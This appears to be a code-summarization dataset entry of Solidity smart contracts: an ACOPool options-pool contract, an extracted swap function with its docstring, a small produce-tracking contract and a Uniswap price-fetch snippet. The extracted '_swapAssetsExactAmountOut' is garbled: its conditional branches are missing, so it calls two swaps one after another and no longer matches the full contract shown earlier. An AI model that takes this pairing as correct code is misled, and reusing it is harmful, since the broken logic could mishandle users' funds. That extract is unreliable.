guarantee that behavior. * @param initData The initialize data. */ function init(InitData calldata initData) external override { require(underlying == address(0) && strikeAsset == address(0) && minExpiration == 0, "ACOPool::init: Already initialized"); require(initData.acoFactory.isContract(), "ACOPool:: Invalid ACO Factory"); require(initData.acoFlashExercise.isContract(), "ACOPool:: Invalid ACO flash exercise"); require(initData.chiToken.isContract(), "ACOPool:: Invalid Chi Token"); require(initData.fee <= 12500, "ACOPool:: The maximum fee allowed is 12.5%"); require(initData.poolStart > block.timestamp, "ACOPool:: Invalid pool start"); require(initData.minExpiration > block.timestamp, "ACOPool:: Invalid expiration"); require(initData.minStrikePrice <= initData.maxStrikePrice, "ACOPool:: Invalid strike price range"); require(initData.minStrikePrice > 0, "ACOPool:: Invalid strike price"); require(initData.minExpiration <= initData.maxExpiration, "ACOPool:: Invalid expiration range"); require(initData.underlying != initData.strikeAsset, "ACOPool:: Same assets"); require(ACOAssetHelper._isEther(initData.underlying) || initData.underlying.isContract(), "ACOPool:: Invalid underlying"); require(ACOAssetHelper._isEther(initData.strikeAsset) || initData.strikeAsset.isContract(), "ACOPool:: Invalid strike asset"); super.init(); poolStart = initData.poolStart; acoFlashExercise = IACOFlashExercise(initData.acoFlashExercise); acoFactory = IACOFactory(initData.acoFactory); chiToken = IChiToken(initData.chiToken); fee = initData.fee; feeDestination = initData.feeDestination; underlying = initData.underlying; strikeAsset = initData.strikeAsset; minStrikePrice = initData.minStrikePrice; maxStrikePrice = initData.maxStrikePrice; minExpiration = initData.minExpiration; maxExpiration = initData.maxExpiration; isCall = initData.isCall; canBuy = initData.canBuy; address _uniswapRouter = IACOFlashExercise(initData.acoFlashExercise).uniswapRouter(); uniswapRouter = IUniswapV2Router02(_uniswapRouter); _setStrategy(initData.strategy); _setBaseVolatility(initData.baseVolatility); _setAssetsPrecision(initData.underlying, initData.strikeAsset); _approveAssetsOnRouter(initData.isCall, initData.canBuy, _uniswapRouter, initData.underlying, initData.strikeAsset); } receive() external payable { } /** * @dev Function to get the token name. */ function name() public view override returns(string memory) { return _name(); } /** * @dev Function to get the token symbol, that it is equal to the name. */ function symbol() public view override returns(string memory) { return _name(); } /** * @dev Function to get the token decimals. */ function decimals() public view override returns(uint8) { return 18; } /** * @dev Function to get whether the pool already started trade ACO tokens. */ function isStarted() public view returns(bool) { return block.timestamp >= poolStart; } /** * @dev Function to get whether the pool is not finished. */ function notFinished() public view returns(bool) { return block.timestamp < maxExpiration; } /** * @dev Function to get the number of ACO tokens currently negotiated. */ function numberOfACOTokensCurrentlyNegotiated() public override view returns(uint256) { return acoTokens.length; } /** * @dev Function to get the pool collateral asset. */ function collateral() public override view returns(address) { if (isCall) { return underlying; } else { return strikeAsset; } } /** * @dev Function to quote an ACO token swap. * @param isBuying True whether it is quoting to buy an ACO token, otherwise it is quoting to sell an ACO token. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @return The swap price, the protocol fee charged on the swap, and the underlying price in strike asset. */ function quote(bool isBuying, address acoToken, uint256 tokenAmount) open public override view returns(uint256, uint256, uint256) { (uint256 swapPrice, uint256 protocolFee, uint256 underlyingPrice,) = _internalQuote(isBuying, acoToken, tokenAmount); return (swapPrice, protocolFee, underlyingPrice); } /** * @dev Function to set the pool strategy address. * Only can be called by the ACO pool factory contract. * @param newStrategy Address of the new strategy. */ function setStrategy(address newStrategy) onlyOwner external override { _setStrategy(newStrategy); } /** * @dev Function to set the pool base volatility percentage. (100000 = 100%) * Only can be called by the ACO pool factory contract. * @param newBaseVolatility Value of the new base volatility. */ function setBaseVolatility(uint256 newBaseVolatility) onlyOwner external override { _setBaseVolatility(newBaseVolatility); } /** * @dev Function to deposit on the pool. * Only can be called when the pool is not started. * @param collateralAmount Amount of collateral to be deposited. * @param to Address of the destination of the pool token. * @return The amount of pool tokens minted. */ function deposit(uint256 collateralAmount, address to) public override payable returns(uint256) { require(!isStarted(), "ACOPool:: Pool already started"); require(collateralAmount > 0, "ACOPool:: Invalid collateral amount"); require(to != address(0) && to != address(this), "ACOPool:: Invalid to"); (uint256 normalizedAmount, uint256 amount) = _getNormalizedDepositAmount(collateralAmount); ACOAssetHelper._receiveAsset(collateral(), amount); collateralDeposited = collateralDeposited.add(amount); _mintAction(to, normalizedAmount); emit CollateralDeposited(msg.sender, amount); return normalizedAmount; } /** * @dev Function to swap an ACO token with the pool. * Only can be called when the pool is opened. * @param isBuying True whether it is quoting to buy an ACO token, otherwise it is quoting to sell an ACO token. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @param restriction Value of the swap restriction. The minimum premium to receive on a selling or the maximum value to pay on a purchase. * @param to Address of the destination. ACO tokens when is buying or strike asset on a selling. * @param deadline UNIX deadline for the swap to be executed. * @return The amount ACO tokens received when is buying or the amount of strike asset received on a selling. */ function swap( bool isBuying, address acoToken, uint256 tokenAmount, uint256 restriction, address to, uint256 deadline ) open public override returns(uint256) { return _swap(isBuying, acoToken, tokenAmount, restriction, to, deadline); } /** * @dev Function to swap an ACO token with the pool and use Chi token to save gas. * Only can be called when the pool is opened. * @param isBuying True whether it is quoting to buy an ACO token, otherwise it is quoting to sell an ACO token. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @param restriction Value of the swap restriction. The minimum premium to receive on a selling or the maximum value to pay on a purchase. * @param to Address of the destination. ACO tokens when is buying or strike asset on a selling. * @param deadline UNIX deadline for the swap to be executed. * @return The amount ACO tokens received when is buying or the amount of strike asset received on a selling. */ function swapWithGasToken( bool isBuying, address acoToken, uint256 tokenAmount, uint256 restriction, address to, uint256 deadline ) open discountCHI public override returns(uint256) { return _swap(isBuying, acoToken, tokenAmount, restriction, to, deadline); } /** * @dev Function to redeem the collateral and the premium from the pool. * Only can be called when the pool is finished. * @return The amount of underlying asset received and the amount of strike asset received. */ function redeem() public override returns(uint256, uint256) { return _redeem(msg.sender); } /** * @dev Function to redeem the collateral and the premium from the pool from an account. * Only can be called when the pool is finished. * The allowance must be respected. * The transaction sender will receive the redeemed assets. * @param account Address of the account. * @return The amount of underlying asset received and the amount of strike asset received. */ function redeemFrom(address account) public override returns(uint256, uint256) { return _redeem(account); } /** * @dev Function to redeem the collateral from the ACO tokens negotiated on the pool. * It redeems the collateral only if the respective ACO token is expired. */ function redeemACOTokens() public override { for (uint256 i = acoTokens.length; i > 0; --i) { address acoToken = acoTokens[i - 1]; uint256 expiryTime = IACOToken(acoToken).expiryTime(); _redeemACOToken(acoToken, expiryTime); } } /** * @dev Function to redeem the collateral from an ACO token. * It redeems the collateral only if the ACO token is expired. * @param acoToken Address of the ACO token. */ function redeemACOToken(address acoToken) public override { (,uint256 expiryTime) = _getValidACOTokenStrikePriceAndExpiration(acoToken); _redeemACOToken(acoToken, expiryTime); } /** * @dev Function to exercise an ACO token negotiated on the pool. * Only ITM ACO tokens are exercisable. * @param acoToken Address of the ACO token. */ function exerciseACOToken(address acoToken) public override { (uint256 strikePrice, uint256 expiryTime) = _getValidACOTokenStrikePriceAndExpiration(acoToken); uint256 exercisableAmount = _getExercisableAmount(acoToken); require(exercisableAmount > 0, "ACOPool:: Exercise is not available"); address _strikeAsset = strikeAsset; address _underlying = underlying; bool _isCall = isCall; uint256 collateralAmount; address _collateral; if (_isCall) { _collateral = _underlying; collateralAmount = exercisableAmount; } else { _collateral = _strikeAsset; collateralAmount = IACOToken(acoToken).getCollateralAmount(exercisableAmount); } uint256 collateralAvailable = _getPoolBalanceOf(_collateral); ACOTokenData storage data = acoTokensData[acoToken]; (bool canExercise, uint256 minIntrinsicValue) = strategy.checkExercise(IACOStrategy.CheckExercise( _underlying, _strikeAsset, _isCall, strikePrice, expiryTime, collateralAmount, collateralAvailable, data.amountPurchased, data.amountSold )); require(canExercise, "ACOPool:: Exercise is not possible"); if (IACOToken(acoToken).allowance(address(this), address(acoFlashExercise)) < exercisableAmount) { _setAuthorizedSpender(acoToken, address(acoFlashExercise)); } acoFlashExercise.flashExercise(acoToken, exercisableAmount, minIntrinsicValue, block.timestamp); uint256 collateralIn = _getPoolBalanceOf(_collateral).sub(collateralAvailable); emit ACOExercise(acoToken, exercisableAmount, collateralIn); } /** * @dev Function to restore the collateral on the pool by selling the other asset balance. */ function restoreCollateral() public override { address _strikeAsset = strikeAsset; address _underlying = underlying; bool _isCall = isCall; uint256 underlyingBalance = _getPoolBalanceOf(_underlying); uint256 strikeAssetBalance = _getPoolBalanceOf(_strikeAsset); uint256 balanceOut; address assetIn; address assetOut; if (_isCall) { balanceOut = strikeAssetBalance; assetIn = _underlying; assetOut = _strikeAsset; } else { balanceOut = underlyingBalance; assetIn = _strikeAsset; assetOut = _underlying; } require(balanceOut > 0, "ACOPool:: No balance"); uint256 acceptablePrice = strategy.getAcceptableUnderlyingPriceToSwapAssets(_underlying, _strikeAsset, false); uint256 minToReceive; if (_isCall) { minToReceive = balanceOut.mul(underlyingPrecision).div(acceptablePrice); } else { minToReceive = balanceOut.mul(acceptablePrice).div(underlyingPrecision); } _swapAssetsExactAmountOut(assetOut, assetIn, minToReceive, balanceOut); uint256 collateralIn; if (_isCall) { collateralIn = _getPoolBalanceOf(_underlying).sub(underlyingBalance); } else { collateralIn = _getPoolBalanceOf(_strikeAsset).sub(strikeAssetBalance); } emit RestoreCollateral(balanceOut, collateralIn); } /** * @dev Internal function to swap an ACO token with the pool. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @param restriction Value of the swap restriction. The minimum premium to receive on a selling or the maximum value to pay on a purchase. * @param to Address of the destination. ACO tokens when is buying or strike asset on a selling. * @param deadline UNIX deadline for the swap to be executed. * @return The amount ACO tokens received when is buying or the amount of strike asset received on a selling. */ function _swap( bool isPoolSelling, address acoToken, uint256 tokenAmount, uint256 restriction, address to, uint256 deadline ) internal returns(uint256) { require(block.timestamp <= deadline, "ACOPool:: Swap deadline"); require(to != address(0) && to != acoToken && to != address(this), "ACOPool:: Invalid destination"); (uint256 swapPrice, uint256 protocolFee, uint256 underlyingPrice, uint256 collateralAmount) = _internalQuote(isPoolSelling, acoToken, tokenAmount); uint256 amount; if (isPoolSelling) { amount = _internalSelling(to, acoToken, collateralAmount, tokenAmount, restriction, swapPrice, protocolFee); } else { amount = _internalBuying(to, acoToken, tokenAmount, restriction, swapPrice, protocolFee); } if (protocolFee > 0) { ACOAssetHelper._transferAsset(strikeAsset, feeDestination, protocolFee); } emit Swap(isPoolSelling, msg.sender, acoToken, tokenAmount, swapPrice, protocolFee, underlyingPrice); return amount; } /** * @dev Internal function to quote an ACO token price. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @return The quote price, the protocol fee charged, the underlying price, and the collateral amount. */ function _internalQuote(bool isPoolSelling, address acoToken, uint256 tokenAmount) internal view returns(uint256, uint256, uint256, uint256) { require(isPoolSelling || canBuy, "ACOPool:: The pool only sell"); require(tokenAmount > 0, "ACOPool:: Invalid token amount"); (uint256 strikePrice, uint256 expiryTime) = _getValidACOTokenStrikePriceAndExpiration(acoToken); require(expiryTime > block.timestamp, "ACOPool:: ACO token expired"); (uint256 collateralAmount, uint256 collateralAvailable) = _getSizeData(isPoolSelling, acoToken, tokenAmount); (uint256 price, uint256 underlyingPrice,) = _strategyQuote(acoToken, isPoolSelling, strikePrice, expiryTime, collateralAmount, collateralAvailable); price = price.mul(tokenAmount).div(underlyingPrecision); uint256 protocolFee = 0; if (fee > 0) { protocolFee = price.mul(fee).div(100000); if (isPoolSelling) { price = price.add(protocolFee); } else { price = price.sub(protocolFee); } } require(price > 0, "ACOPool:: Invalid quote"); return (price, protocolFee, underlyingPrice, collateralAmount); } /** * @dev Internal function to the size data for a quote. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @return The collateral amount and the collateral available on the pool. */ function _getSizeData(bool isPoolSelling, address acoToken, uint256 tokenAmount) internal view returns(uint256, uint256) { uint256 collateralAmount; uint256 collateralAvailable; if (isCall) { collateralAvailable = _getPoolBalanceOf(underlying); collateralAmount = tokenAmount; } else { collateralAvailable = _getPoolBalanceOf(strikeAsset); collateralAmount = IACOToken(acoToken).getCollateralAmount(tokenAmount); require(collateralAmount > 0, "ACOPool:: Token amount is too small"); } require(!isPoolSelling || collateralAmount <= collateralAvailable, "ACOPool:: Insufficient liquidity"); return (collateralAmount, collateralAvailable); } /** * @dev Internal function to quote on the strategy contract. * @param acoToken Address of the ACO token. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param strikePrice ACO token strike price. * @param expiryTime ACO token expiry time on UNIX. * @param collateralAmount Amount of collateral for the order size. * @param collateralAvailable Amount of collateral available on the pool. * @return The quote price, the underlying price and the volatility. */ function _strategyQuote( address acoToken, bool isPoolSelling, uint256 strikePrice, uint256 expiryTime, uint256 collateralAmount, uint256 collateralAvailable ) internal view returns(uint256, uint256, uint256) { ACOTokenData storage data = acoTokensData[acoToken]; return strategy.quote(IACOStrategy.OptionQuote( isPoolSelling, underlying, strikeAsset, isCall, strikePrice, expiryTime, baseVolatility, collateralAmount, collateralAvailable, collateralDeposited, strikeAssetEarnedSelling, strikeAssetSpentBuying, data.amountPurchased, data.amountSold )); } /** * @dev Internal function to sell ACO tokens. * @param to Address of the destination of the ACO tokens. * @param acoToken Address of the ACO token. * @param collateralAmount Order collateral amount. * @param tokenAmount Order token amount. * @param maxPayment Maximum value to be paid for the ACO tokens. * @param swapPrice The swap price quoted. * @param protocolFee The protocol fee amount. * @return The ACO token amount sold. */ function _internalSelling( address to, address acoToken, uint256 collateralAmount, uint256 tokenAmount, uint256 maxPayment, uint256 swapPrice, uint256 protocolFee ) internal returns(uint256) { require(swapPrice <= maxPayment, "ACOPool:: Swap restriction"); ACOAssetHelper._callTransferFromERC20(strikeAsset, msg.sender, address(this), swapPrice); uint256 acoBalance = _getPoolBalanceOf(acoToken); ACOTokenData storage acoTokenData = acoTokensData[acoToken]; uint256 _amountSold = acoTokenData.amountSold; if (_amountSold == 0 && acoTokenData.amountPurchased == 0) { acoTokenData.index = acoTokens.length; acoTokens.push(acoToken); } if (tokenAmount > acoBalance) { tokenAmount = acoBalance; if (acoBalance > 0) { collateralAmount = IACOToken(acoToken).getCollateralAmount(tokenAmount.sub(acoBalance)); } if (collateralAmount > 0) { address _collateral = collateral(); if (ACOAssetHelper._isEther(_collateral)) { tokenAmount = tokenAmount.add(IACOToken(acoToken).mintPayable{value: collateralAmount}()); } else { if (_amountSold == 0) { _setAuthorizedSpender(_collateral, acoToken); } tokenAmount = tokenAmount.add(IACOToken(acoToken).mint(collateralAmount)); } } } acoTokenData.amountSold = tokenAmount.add(_amountSold); strikeAssetEarnedSelling = swapPrice.sub(protocolFee).add(strikeAssetEarnedSelling); ACOAssetHelper._callTransferERC20(acoToken, to, tokenAmount); return tokenAmount; } /** * @dev Internal function to buy ACO tokens. * @param to Address of the destination of the premium. * @param acoToken Address of the ACO token. * @param tokenAmount Order token amount. * @param minToReceive Minimum value to be received for the ACO tokens. * @param swapPrice The swap price quoted. * @param protocolFee The protocol fee amount. * @return The premium amount transferred. */ function _internalBuying( address to, address acoToken, uint256 tokenAmount, uint256 minToReceive, uint256 swapPrice, uint256 protocolFee ) internal returns(uint256) { require(swapPrice >= minToReceive, "ACOPool:: Swap restriction"); uint256 requiredStrikeAsset = swapPrice.add(protocolFee); if (isCall) { _getStrikeAssetAmount(requiredStrikeAsset); } ACOAssetHelper._callTransferFromERC20(acoToken, msg.sender, address(this), tokenAmount); ACOTokenData storage acoTokenData = acoTokensData[acoToken]; uint256 _amountPurchased = acoTokenData.amountPurchased; if (_amountPurchased == 0 && acoTokenData.amountSold == 0) { acoTokenData.index = acoTokens.length; acoTokens.push(acoToken); } acoTokenData.amountPurchased = tokenAmount.add(_amountPurchased); strikeAssetSpentBuying = requiredStrikeAsset.add(strikeAssetSpentBuying); ACOAssetHelper._transferAsset(strikeAsset, to, swapPrice); return swapPrice; } /** * @dev Internal function to get the normalized deposit amount. * The pool token has always with 18 decimals. * @param collateralAmount Amount of collateral to be deposited. * @return The normalized token amount and the collateral amount. */ function _getNormalizedDepositAmount(uint256 collateralAmount) internal view returns(uint256, uint256) { uint256 basePrecision = isCall ? underlyingPrecision : strikeAssetPrecision; uint256 normalizedAmount; if (basePrecision > POOL_PRECISION) { uint256 adjust = basePrecision.div(POOL_PRECISION); normalizedAmount = collateralAmount.div(adjust); collateralAmount = normalizedAmount.mul(adjust); } else if (basePrecision < POOL_PRECISION) { normalizedAmount = collateralAmount.mul(POOL_PRECISION.div(basePrecision)); } else { normalizedAmount = collateralAmount; } require(normalizedAmount > 0, "ACOPool:: Invalid collateral amount"); return (normalizedAmount, collateralAmount); } /** * @dev Internal function to get an amount of strike asset for the pool. * The pool swaps the collateral for it if necessary. * @param strikeAssetAmount Amount of strike asset required. */ function _getStrikeAssetAmount(uint256 strikeAssetAmount) internal { address _strikeAsset = strikeAsset; uint256 balance = _getPoolBalanceOf(_strikeAsset); if (balance < strikeAssetAmount) { uint256 amountToPurchase = strikeAssetAmount.sub(balance); address _underlying = underlying; uint256 acceptablePrice = strategy.getAcceptableUnderlyingPriceToSwapAssets(_underlying, _strikeAsset, true); uint256 maxPayment = amountToPurchase.mul(underlyingPrecision).div(acceptablePrice); _swapAssetsExactAmountIn(_underlying, _strikeAsset, amountToPurchase, maxPayment); } } /** * @dev Internal function to redeem the collateral from an ACO token. * It redeems the collateral only if the ACO token is expired. * @param acoToken Address of the ACO token. * @param expiryTime ACO token expiry time in UNIX. */ function _redeemACOToken(address acoToken, uint256 expiryTime) internal { if (expiryTime <= block.timestamp) { uint256 collateralIn = 0; if (IACOToken(acoToken).currentCollateralizedTokens(address(this)) > 0) { collateralIn = IACOToken(acoToken).redeem(); } ACOTokenData storage data = acoTokensData[acoToken]; uint256 lastIndex = acoTokens.length - 1; if (lastIndex != data.index) { address last = acoTokens[lastIndex]; acoTokensData[last].index = data.index; acoTokens[data.index] = last; } emit ACORedeem(acoToken, collateralIn, data.amountSold, data.amountPurchased); acoTokens.pop(); delete acoTokensData[acoToken]; } } /** * @dev Internal function to redeem the collateral and the premium from the pool from an account. * @param account Address of the account. * @return The amount of underlying asset received and the amount of strike asset received. */ function _redeem(address account) internal returns(uint256, uint256) { uint256 share = balanceOf(account); require(share > 0, "ACOPool:: Account with no share"); require(!notFinished(), "ACOPool:: Pool is not finished"); redeemACOTokens(); uint256 _totalSupply = totalSupply(); uint256 underlyingBalance = share.mul(_getPoolBalanceOf(underlying)).div(_totalSupply); uint256 strikeAssetBalance = share.mul(_getPoolBalanceOf(strikeAsset)).div(_totalSupply); _callBurn(account, share); if (underlyingBalance > 0) { ACOAssetHelper._transferAsset(underlying, msg.sender, underlyingBalance); } if (strikeAssetBalance > 0) { ACOAssetHelper._transferAsset(strikeAsset, msg.sender, strikeAssetBalance); } emit Redeem(msg.sender, underlyingBalance, strikeAssetBalance); return (underlyingBalance, strikeAssetBalance); } /** * @dev Internal function to burn pool tokens. * @param account Address of the account. * @param tokenAmount Amount of pool tokens to be burned. */ function _callBurn(address account, uint256 tokenAmount) internal { if (account == msg.sender) { super._burnAction(account, tokenAmount); } else { super._burnFrom(account, tokenAmount); } } /** * @dev Internal function to swap assets on the Uniswap V2 with an exact amount of an asset to be sold. * @param assetOut Address of the asset to be sold. * @param assetIn Address of the asset to be purchased. * @param minAmountIn Minimum amount to be received. * @param amountOut The exact amount to be sold. */ function _swapAssetsExactAmountOut(address assetOut, address assetIn, uint256 minAmountIn, uint256 amountOut) internal { address[] memory path = new address[](2); if (ACOAssetHelper._isEther(assetOut)) { path[0] = acoFlashExercise.weth(); path[1] = assetIn; uniswapRouter.swapExactETHForTokens{value: amountOut}(minAmountIn, path, address(this), block.timestamp); } else if (ACOAssetHelper._isEther(assetIn)) { path[0] = assetOut; path[1] = acoFlashExercise.weth(); uniswapRouter.swapExactTokensForETH(amountOut, minAmountIn, path, address(this), block.timestamp); } else { path[0] = assetOut; path[1] = assetIn; uniswapRouter.swapExactTokensForTokens(amountOut, minAmountIn, path, address(this), block.timestamp); } } /** * @dev Internal function to swap assets on the Uniswap V2 with an exact amount of an asset to be purchased. * @param assetOut Address of the asset to be sold. * @param assetIn Address of the asset to be purchased. * @param amountIn The exact amount to be purchased. * @param maxAmountOut Maximum amount to be paid. */ function _swapAssetsExactAmountIn(address assetOut, address assetIn, uint256 amountIn, uint256 maxAmountOut) internal { address[] memory path = new address[](2); if (ACOAssetHelper._isEther(assetOut)) { path[0] = acoFlashExercise.weth(); path[1] = assetIn; uniswapRouter.swapETHForExactTokens{value: maxAmountOut}(amountIn, path, address(this), block.timestamp); } else if (ACOAssetHelper._isEther(assetIn)) { path[0] = assetOut; path[1] = acoFlashExercise.weth(); uniswapRouter.swapTokensForExactETH(amountIn, maxAmountOut, path, address(this), block.timestamp); } else { path[0] = assetOut; path[1] = assetIn; uniswapRouter.swapTokensForExactTokens(amountIn, maxAmountOut, path, address(this), block.timestamp); } } /** * @dev Internal function to set the strategy address. * @param newStrategy Address of the new strategy. */ function _setStrategy(address newStrategy) internal { require(newStrategy.isContract(), "ACOPool:: Invalid strategy"); emit SetStrategy(address(strategy), newStrategy); strategy = IACOStrategy(newStrategy); } /** * @dev Internal function to set the base volatility percentage. (100000 = 100%) * @param newBaseVolatility Value of the new base volatility. */ function _setBaseVolatility(uint256 newBaseVolatility) internal { require(newBaseVolatility > 0, "ACOPool:: Invalid base volatility"); emit SetBaseVolatility(baseVolatility, newBaseVolatility); baseVolatility = newBaseVolatility; } /** * @dev Internal function to set the pool assets precisions. * @param _underlying Address of the underlying asset. * @param _strikeAsset Address of the strike asset. */ function _setAssetsPrecision(address _underlying, address _strikeAsset) internal { underlyingPrecision = 10 ** uint256(ACOAssetHelper._getAssetDecimals(_underlying)); strikeAssetPrecision = 10 ** uint256(ACOAssetHelper._getAssetDecimals(_strikeAsset)); } /** * @dev Internal function to infinite authorize the pool assets on the Uniswap V2 router. * @param _isCall True whether it is a CALL option, otherwise it is PUT. * @param _canBuy True whether the pool can also buy ACO tokens, otherwise it only sells. * @param _uniswapRouter Address of the Uniswap V2 router. * @param _underlying Address of the underlying asset. * @param _strikeAsset Address of the strike asset. */ function _approveAssetsOnRouter( bool _isCall, bool _canBuy, address _uniswapRouter, address _underlying, address _strikeAsset ) internal { if (_isCall) { if (!ACOAssetHelper._isEther(_strikeAsset)) { _setAuthorizedSpender(_strikeAsset, _uniswapRouter); } if (_canBuy && !ACOAssetHelper._isEther(_underlying)) { _setAuthorizedSpender(_underlying, _uniswapRouter); } } else if (!ACOAssetHelper._isEther(_underlying)) { _setAuthorizedSpender(_underlying, _uniswapRouter); } } /** * @dev Internal function to infinite authorize a spender on an asset. * @param asset Address of the asset. * @param spender Address of the spender to be authorized. */ function _setAuthorizedSpender(address asset, address spender) internal { ACOAssetHelper._callApproveERC20(asset, spender, MAX_UINT); } /** * @dev Internal function to get the pool balance of an asset. * @param asset Address of the asset. * @return The pool balance. */ function _getPoolBalanceOf(address asset) internal view returns(uint256) { return ACOAssetHelper._getAssetBalanceOf(asset, address(this)); } /** * @dev Internal function to get the exercible amount of an ACO token. * @param acoToken Address of the ACO token. * @return The exercisable amount. */ function _getExercisableAmount(address acoToken) internal view returns(uint256) { uint256 balance = _getPoolBalanceOf(acoToken); if (balance > 0) { uint256 collaterized = IACOToken(acoToken).currentCollateralizedTokens(address(this)); if (balance > collaterized) { return balance.sub(collaterized); } } return 0; } /** * @dev Internal function to get an accepted ACO token by the pool. * @param acoToken Address of the ACO token. * @return The ACO token strike price, and the ACO token expiration. */ function _getValidACOTokenStrikePriceAndExpiration(address acoToken) internal view returns(uint256, uint256) { (address _underlying, address _strikeAsset, bool _isCall, uint256 _strikePrice, uint256 _expiryTime) = acoFactory.acoTokenData(acoToken); require( _underlying == underlying && _strikeAsset == strikeAsset && _isCall == isCall && _strikePrice >= minStrikePrice && _strikePrice <= maxStrikePrice && _expiryTime >= minExpiration && _expiryTime <= maxExpiration, "ACOPool:: Invalid ACO Token" ); return (_strikePrice, _expiryTime); } /** * @dev Internal function to get the token name. * The token name is assembled with the token data: * ACO POOL UNDERLYING_SYMBOL-STRIKE_ASSET_SYMBOL-TYPE-{ONLY_SELL}-MIN_STRIKE_PRICE-MAX_STRIKE_PRICE-MIN_EXPIRATION-MAX_EXPIRATION * @return The token name. */ function _name() internal view returns(string memory) { uint8 strikeDecimals = ACOAssetHelper._getAssetDecimals(strikeAsset); string memory strikePriceFormatted; if (minStrikePrice != maxStrikePrice) { strikePriceFormatted = string(abi.encodePacked(ACONameFormatter.formatNumber(minStrikePrice, strikeDecimals), "-", ACONameFormatter.formatNumber(maxStrikePrice, strikeDecimals))); } else { strikePriceFormatted = ACONameFormatter.formatNumber(minStrikePrice, strikeDecimals); } string memory dateFormatted; if (minExpiration != maxExpiration) { dateFormatted = string(abi.encodePacked(ACONameFormatter.formatTime(minExpiration), "-", ACONameFormatter.formatTime(maxExpiration))); } else { dateFormatted = ACONameFormatter.formatTime(minExpiration); } return string(abi.encodePacked( "ACO POOL ", ACOAssetHelper._getAssetSymbol(underlying), "-", ACOAssetHelper._getAssetSymbol(strikeAsset), "-", ACONameFormatter.formatType(isCall), (canBuy ? "" : "-SELL"), "-", strikePriceFormatted, "-", dateFormatted )); } }
Internal function to swap assets on the Uniswap V2 with an exact amount of an asset to be sold. assetOut Address of the asset to be sold. assetIn Address of the asset to be purchased. minAmountIn Minimum amount to be received. amountOut The exact amount to be sold./
function _swapAssetsExactAmountOut(address assetOut, address assetIn, uint256 minAmountIn, uint256 amountOut) internal { address[] memory path = new address[](2); if (ACOAssetHelper._isEther(assetOut)) { path[0] = acoFlashExercise.weth(); path[1] = assetIn; path[0] = assetOut; path[1] = acoFlashExercise.weth(); uniswapRouter.swapExactTokensForETH(amountOut, minAmountIn, path, address(this), block.timestamp); path[0] = assetOut; path[1] = assetIn; uniswapRouter.swapExactTokensForTokens(amountOut, minAmountIn, path, address(this), block.timestamp); } }
48,903
pragma solidity ^0.5.0; contract TheProduct { //Creating the reference data for harvest of produce struct harvestProduce { uint ID; string supplierID; address payable supplierAddress; string productID; string photoHash; string harvestTimeStamp; string harvestCaptureTime; } //Creating the reference data for storage of produce struct storageProduce { uint ID; //this should be the same ID as the harvestProduce ID string marketID; address payable marketAddress; uint quantity; string unitOfMeasure; string storageTimeStamp; string storageCaptureTime; string URL; string hashID; } // constructor () public { // //registerHarvest(ID, supplierID, supplierAddress, productID, photoHash, harvestTimeStamp, harvestCaptureTime) // registerHarvest(001,'OZF',"0x4657892df",'APP','456xf87909', '20190625 14:00', '20190725 15:00'); // } event registeredHarvestEvent ( uint indexed _harvestID ); event registeredStorageEvent ( uint indexed _storageID ); //Array of all the produce harvested harvestProduce[] public harvestProduceArray; //Array of all the produce received at storage storageProduce[] public storageProduceArray; //Registering a harvest instance //Not sure if the input parameters should be read from memory...? function registerHarvest(uint _ID, string memory _supplierID, address payable _supplierAddress, string memory _productID, string memory _photoHash, string memory _harvestTimeStamp, string memory _harvestCaptureTime) public { uint index = harvestProduceArray.push(harvestProduce(_ID, _supplierID, _supplierAddress, _productID, _photoHash, _harvestTimeStamp, _harvestCaptureTime)); // trigger registeredHarvest event emit registeredHarvestEvent(index); // buyer[index-1].push(msg.sender); - not applicable } //Registering a storage instance //Not sure if the input parameters should be read from memory...? function registerStorage(uint _ID, string memory _marketID, address payable _marketAddress, uint _quantity, string memory _unitOfMeasure, string memory _storageTimeStamp, string memory _storageCaptureTime, string memory _URL, string memory _hashID) public { uint index = storageProduceArray.push(storageProduce(_ID, _marketID, _marketAddress, _quantity, _unitOfMeasure, _storageTimeStamp, _storageCaptureTime, _URL, _hashID)); // trigger registeredStorage event emit registeredStorageEvent(index); } //View harvest //This is not working. I think we need to use a loop to return the information per harvest? // function viewHarvest() public view returns (harvestProduce[]){ // return harvestProduceArray; // } // //View storage // function viewStorage() public view returns (storageProduce[]){ // return storageProduceArray; // } //Checks the number of harvests in the harvest array function noHarvests() public view returns (uint){ return harvestProduceArray.length; } //Checks the number of produce in the storage array function noStorage() public view returns (uint){ return storageProduceArray.length; } }
Checks the number of harvests in the harvest array
function noHarvests() public view returns (uint){ return harvestProduceArray.length; }
13,116,125
./full_match/4/0x30FA9fE63609af35b2b0fC454a22f33Fb84b1522/sources/contracts/Uniswap/UniswapAnchoredView.sol
Fetches the current eth/usd price from uniswap, with 6 decimals of precision. Conversion factor is 1e18 for eth/usdc market, since we decode uniswap price statically with 18 decimals./
function fetchEthPrice() internal returns (uint) { return fetchAnchorPrice("ETH", getTokenConfigBySymbolHash(ethHash), ethBaseUnit); }
803,296
